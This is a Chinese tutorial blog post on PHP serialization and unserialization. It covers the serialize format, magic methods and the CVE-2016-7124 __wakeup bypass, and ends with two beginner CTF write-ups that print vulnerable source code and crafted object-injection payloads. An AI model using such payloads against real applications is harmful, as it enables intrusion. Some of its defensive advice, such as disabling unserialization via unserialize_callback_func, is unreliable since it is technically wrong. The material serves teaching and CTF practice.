PHP序列化、反序列化

目录

一、类与对象

1.从对象中调用属性,输出对象

2.从对象中调用方法

3.类的修饰符

二、PHP序列化:serialize()

php序列化的字母标识:

1.对象序列化

2.pop链序列化

3.数组序列化

三、反序列化:unserialize()

1.什么是PHP反序列化漏洞

2. PHP反序列化工作原理

3.PHP 反序列化漏洞的常见方法

4.PHP反序列化漏洞危害

(1)远程代码执行

(2)任意文件读取

(3)任意文件写入

(4) 特权升级

5.防御PHP反序列化漏洞

四、魔术方法

触发情况

1.对象被创建时触发__construct()方法,对象使用完被销毁时触发__destruct()方法

2.对象被序列化时触发__sleep(),字符串被反序列化时触发__wakeup()

3.echo $a 把对象当成字符串输出触发__toString(),$a() 把对象当成函数执行触发__invoke()

4.$a->callxxx()  调用了不存在的方法 触发__call()方法

$a::callxxx() 静态调用 或 调用成员常量时使用不存在的方法,触发 __callStatic()方法

​5.调用成员属性不存在时触发__get()方法

6.给不存在的成员属性赋值时触发__set()方法

7.对不可调用的属性使用isset()或empty()时,isset()会被调用

   对不可调用的属性使用unset()时,unset()会被调用

8.使用clone拷贝完成一个对象后,新对象会自动调用__clone()方法

__wakeup()函数漏洞原理:(反序列化漏洞CVE-2016-7124)

五、NSSCTF相关简单题目

1.[SWPUCTF 2021 新生赛]ez_unserialize

2.[SWPUCTF 2021 新生赛]no_wakeup


学习参考:

橙子科技工作室——PHP反序列化漏洞学习

PHP反序列化新手入门学习总结_php反序列化

php反序列化漏洞

一、类与对象

类是想法——>实例化为对象——>从中调用各属性、方法

1.从对象中调用属性,输出对象

<?php
class person                //定义类person
{
	var $name='line';       //预定义类里面的属性name、old
	var $old;	
}
$a=new person();            //实例化类为对象,并将对象赋值给a
$a->name='llinell';         //从a对象中调用name属性,并重新复制为llinell(预定义不影响重新赋值)
$a->old='100';              //从a对象中调用old属性,并赋值100
print_r($a);                //输出对象a
var_dump($a);               //输出对象a
?>

2.从对象中调用方法

<?php
class person
{
    var $name='line';
    var $old;
	function like($l)        //定义一个方法like()
    {
        echo $this->name;    //从person类中调用name属性
        echo $l;             //输出方法
    }
}
$a=new person();
$a->like('basketball');      //从a对象中调用like()方法
?>

 3.类的修饰符

  • Public(公有):类的外部、子部、内部可用

  • Protected(受保护):类的子部、内部可用

  • Private(私有):类的内部可用

<?php
class person
{
    public $name='line';
    private $old='100';
	protected $like='basketball';
}
$a=new person();
echo $a->name;        //外部可用
echo $a->old;         //外部不可用
echo $a->like;        //外部不可用
?>

<?php
class person
{
    public $name='line';
    private $old='100';          //私有属性,只有主类可调用
	protected $like='basketball';	
}
class person2 extends person     //子类person2来源于主类person
{
	function test2()
	{
		echo $this->name;        //子部可用
		echo $this->old;         //子部不可用
		echo $this->like;        //子部可用
	}
}
$a=new person();
$a=new person2();

echo $a->test2();                //从a对象中调用test()方法
?>

二、PHP序列化:serialize()

序列化:是将变量或对象转换成字符串的过程( 序列化只作用于对象,不序列化方法)

用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构。

php序列化的字母标识:

a - 数组 (Array): 一种数据结构,可以存储多个相同类型的元素。
b - 布尔型 (Boolean): 一种数据类型,只有两个可能的值:true 或 false。
d - 双精度浮点数 (Double): 一种数据类型,用于存储双精度浮点数值。
i - 整型 (Integer): 一种数据类型,用于存储整数值。
o - 普通对象 (Common Object): 一个通用的对象类型,它可以是任何类的实例。
r - 引用 (Reference): 指向对象的引用,而不是对象本身。
s - 字符串 (String): 一种数据类型,用于存储文本数据。
C - 自定义对象 (Custom Object): 指由开发者定义的特定类的实例。
O - 类 (Class): 在面向对象编程中,类是一种蓝图或模板,用于创建对象。
N - 空 (Null): 在许多编程语言中,null 表示一个不指向任何对象的特殊值。
R - 指针引用 (Pointer Reference): 一个指针变量,其值为另一个变量的地址。
U - 统一码字符串 (Unicode String): 一种数据类型,用于存储包含各种字符编码的文本数据。
各类型值的serialize序列化:

空字符       null  ->     N;
整型         123   ->     i:123;
浮点型       1.5   ->     d:1.5;
boolean型    true   ->    b:1;
boolean型    fal    ->    b:0;
字符串       “haha”  ->   s:4:"haha";

1.对象序列化

·Public(公有):被序列化时属性值为:属性名
·Protected(受保护):被序列化时属性值为:\x00*\x00属性名
·Private(私有):被序列化时属性值为:\x00类名\x00属性名

<?php
class test                        //定义一个test类
{
	public $test1="ll";        
	protected $test2="hh";
	private $test3="nn";
}
$a=new test();                    //类test实例化成一个对象,并赋值给a
echo serialize($a);               //序列化对象a
?>

//输出  O:4:"test":3:{s:5:"test1";s:2:"ll";s:8:" * test2";s:2:"hh";s:11:" test test3";s:2:"nn";}

O:4:"test":3:{s:5:"test1";s:2:"ll";s:8:" * test2";s:2:"hh";s:11:" test test3";s:2:"nn";}

//大写字母O表示对象,4是类名长度,test为类名,3表示该类有3个成员属性

//类中变量的个数3:{类型:长度:“值”;类型:长度:“值”…以此类推}

protected 和private输出时有不可打印字符,如下图。

故类在写payload时通常会使用urlencode()函数编码。

echo urlencode(serialize($a));               //序列化对象a

2.pop链序列化

面向属性编程POP( Property Oriented Programming)

POP链就是利用魔法方法在里面进行多次跳转然后获取敏感数据的一种payload

<?php
class test1
{
    public $a="ll";
    public $b=true;
    public $c=123;
}
class test2
{
    public $d;
	public $h="hhh";
}
 
$m=new test1();
$n=new test2();
$n->f=$m;
echo serialize($n);
?>

//输出(m的值嵌套在n中)
O:5:"test2":3:{s:1:"d";N;s:1:"h";s:3:"hhh";s:1:"f";O:5:"test1":3:{s:1:"a";s:2:"ll";s:1:"b";b:1;s:1:"c";i:123;}}

3.数组序列化

<?php
$a=array("ll",123,true);
echo serialize($a);
?>

//输出  
a:3:{i:0;s:2:"ll";i:1;i:123;i:2;b:1;}
//a表示这是一个数组的序列化,成员属性名为数组的下标,格式 {i:数组下标;类型:长度:“值”; 以此类推}

三、反序列化:unserialize()

反序列化是:将字符串转换成变量对象的过程

反序列化的结果(即对象)的输出要用print_r()var_dump()

<?php
class test
{
    public $test1="ll";
    public $test2=123;
}
 
$a=new test();
$b=serialize($a);
print_r(unserialize($b));

//反序列化生成的对象的成员属性值由被反序列化的字符串决定,与原来类预定义的值无关
$c='O:4:"test":2:{s:1:"a";s:3:"666";s:1:"b";i:6666;}';
var_dump(unserialize($c));
?>

1.什么是PHP反序列化漏洞

PHP反序列化漏洞:是一种允许攻击者通过将恶意数据反序列化为PHP对象来执行任意代码的漏洞。

2. PHP反序列化工作原理

PHP反序列化是一种将存储在字符串中的PHP对象转换为PHP变量的过程。这可以通过使用unserialize()函数来实现。

unserialize()函数:将字符串中的数据解析为一个PHP对象,并将其分配给一个变量。

3.PHP 反序列化漏洞的常见方法

(1)反弹 Shell。 这是一种在远程计算机上执行命令的方法。可以通过使用 exec() 或 system() 等函数来完成。
(2)文件上传。 这是一种将文件上传到远程计算机的方法。可以通过使用 move_uploaded_file() 函数来完成。
(3)本地文件包含。 这是一个在远程计算机上包含本地文件的方法。可以通过使用 include() 或 require() 等函数来完成。
(4)数据库访问。 这是一个访问远程计算机上的数据库的方法。可以通过使用 mysql_connect() 或 mysqli_connect() 等函数来完成。

4.PHP反序列化漏洞危害

(1)远程代码执行

攻击者可以通过将恶意代码序列化为字符串,然后通过反序列化漏洞将其反序列化为PHP对象来执行任意代码。这可能导致攻击者在目标服务器上获得完全控制权。

(2)任意文件读取

攻击者可以通过将恶意代码序列化为字符串,然后通过反序列化漏洞将其反序列化为PHP对象来读取任意文件。这可能导致攻击者窃取敏感信息,如数据库凭据、配置文件等。

(3)任意文件写入

攻击者可以通过将恶意代码序列化为字符串,然后通过反序列化漏洞将其反序列化为PHP对象来写入任意文件。这可能导致攻击者在目标服务器上创建后门、上传恶意软件等。

(4) 特权升级

攻击者可以通过将恶意代码序列化为字符串,然后通过反序列化漏洞将其反序列化为PHP对象来获得更高的权限。这可能导致攻击者在目标服务器上执行特权操作,如创建新用户、修改系统配置等。

5.防御PHP反序列化漏洞

(1)使用最新版本的 PHP。 最新版本的 PHP 通常包含针对已知漏洞的修复程序。
(2)禁用反序列化。 可以通过在 php.ini 文件中设置 unserialize_callback_func 选项来禁用反序列化。
(3)验证用户输入。 在对用户输入进行反序列化之前,请务必对其进行验证。
(4)使用白名单。 仅允许反序列化来自受信任来源的字符串。
(5)使用签名。 在序列化字符串之前,请使用签名对其进行签名。这将有助于防止恶意字符串被反序列化。

四、魔术方法

魔术方法是一个预定好的、在特定情况下自动触发的行为方法。

触发前提:魔术方法所在的类被调用。

__construct()       //类的构造函数,创建对象时触发
__destruct()        //类的析构函数,对象被销毁时触发
__call()            //调用对象不可访问、不存在的方法时触发
__callStatic()      //在静态上下文中调用不可访问的方法时触发
__get()             //调用不可访问、不存在的对象成员属性时触发
__set()             //在给不可访问、不存在的对象成员属性赋值时触发
__isset()           //当对不可访问属性调用isset()或empty()时触发
__unset()           //在不可访问的属性上使用unset()时触发
__invoke()          //把对象当初函数调用时触发
__sleep()           //执行serialize()时,先会调用这个方法
__wakeup()          //执行unserialize()时,先会调用这个方法
__toString()        //把对象当成字符串调用时触发
__clone()           //使用clone关键字拷贝完一个对象后触发
... ...

触发情况

1.对象被创建时触发__construct()方法,对象使用完被销毁时触发__destruct()方法

   实例化test类为对象赋值给a时就被触发。

2.对象被序列化时触发__sleep(),字符串被反序列化时触发__wakeup()

3.echo $a对象当成字符串输出触发__toString(),$a() 对象当成函数执行触发__invoke()

4.$a->callxxx()  调用了不存在的方法 触发__call()方法

$a::callxxx() 静态调用 或 调用成员常量时使用不存在的方法,触发 __callStatic()方法

5.调用成员属性不存在时触发__get()方法

调用成员属性b不存在,触发get()方法,把不存在的属性名称赋值给$a

6.给不存在的成员属性赋值时触发__set()方法

传参$a,$b,返回不存在的成员属性名称及其值

7.对不可调用的属性使用isset()或empty()时,isset()会被调用

   对不可调用的属性使用unset()时,unset()会被调用

传参$a,返回不存在的成员属性名称

8.使用clone拷贝完成一个对象后,新对象会自动调用__clone()方法

__wakeup()函数漏洞原理:(反序列化漏洞CVE-2016-7124)

当序列化字符串表示对象属性个数的值 大于 真实个数的属性时就会跳过__wakeup的执行

正则匹配大写字母O后不能跟数字时,可在数字前加+号绕过

五、NSSCTF相关简单题目

1.[SWPUCTF 2021 新生赛]ez_unserialize

打开环境只有一个表情包

查看源代码发现Disallow(禁止抓取),使用robots.txt协议查看,发现/cl45s.php目录

访问得到环境代码

<?php
error_reporting(0);
show_source("cl45s.php");             // 显示文件 cl45s.php 的源代码

class wllm {                          // 定义一个名为 wllm 的类   
    public $admin;                    // 公共属性 admin
    public $passwd;                   // 公共属性 passwd
    
    public function __construct() {   // 构造函数,用于初始化对象     
        $this->admin = "user";        // 初始化 admin 为 "user"
        $this->passwd = "123456";     // 初始化 passwd 为 "123456"
    }

    public function __destruct() {    // 析构函数,用于在对象不再被引用时执行清理操作
        // 检查 admin 是否为 "admin" 并且 passwd 是否为 "ctf"
        if ($this->admin === "admin" && $this->passwd === "ctf") {            
            include("flag.php");           
            echo $flag;
        } else {            
            echo $this->admin;        // 打印 admin 的值           
            echo $this->passwd;       // 打印 passwd 的值            
            echo "Just a bit more!";  // 打印字符串 "Just a bit more!"
        }
    }
}
$p = $_GET['p'];                       //GET传参p
unserialize($p);                       //反序列化p

?>

admin=admin,passwd=ctf时得到flag,序列化p。

PHP 在线工具 | 菜鸟工具

构造payload,得到flag

?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

2.[SWPUCTF 2021 新生赛]no_wakeup

打开环境,代码审计

<?php

// 设置HTTP头信息,指定内容的类型和字符编码
header("Content-type:text/html;charset=utf-8");

// 关闭错误报告,不显示任何错误信息
error_reporting(0);

// 显示文件class.php的源代码
show_source("class.php");

// 定义一个名为HaHaHa的类
class HaHaHa{

    // 两个公共属性:admin和passwd
    public $admin;
    public $passwd;

    // 构造函数,当创建新对象时自动调用
    public function __construct(){
        // 初始化admin为"user",passwd为"123456"
        $this->admin ="user";
        $this->passwd = "123456";
    }

    // __wakeup魔术方法,当对象被反序列化时自动调用
    public function __wakeup(){
        // 将passwd加密为sha1哈希值
        $this->passwd = sha1($this->passwd);
    }

    // __destruct魔术方法,当对象被销毁时自动调用
    public function __destruct(){
        // 检查admin是否等于"admin"且passwd是否等于"wllm"
        if($this->admin === "admin" && $this->passwd === "wllm"){
            // 如果条件满足,引入flag.php文件,并输出变量$flag的值
            include("flag.php");
            echo $flag;
        }else{
            // 如果条件不满足,输出经过sha1加密的passwd值和"No wake up"字符串
            echo $this->passwd;
            echo "No wake up";
        }
    }
}

// 通过GET请求获取参数p的值,并将其作为反序列化的输入
$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

?>

admin=admin,passwd=wllm得到flag,序列化p

<?php
class HaHaHa{

    public $admin="admin";
    public $passwd="wllm";
}
$p=new HaHaHa();
echo serialize($p);
?>

但其中多了一个__wakeup的魔术方法

__wakeup函数漏洞原理:当序列化字符串表示对象属性个数的值 大于 真实个数的属性时就会跳过__wakeup的执行

故构造一个大于2对象的payload,得到flag

?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

  • 22
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值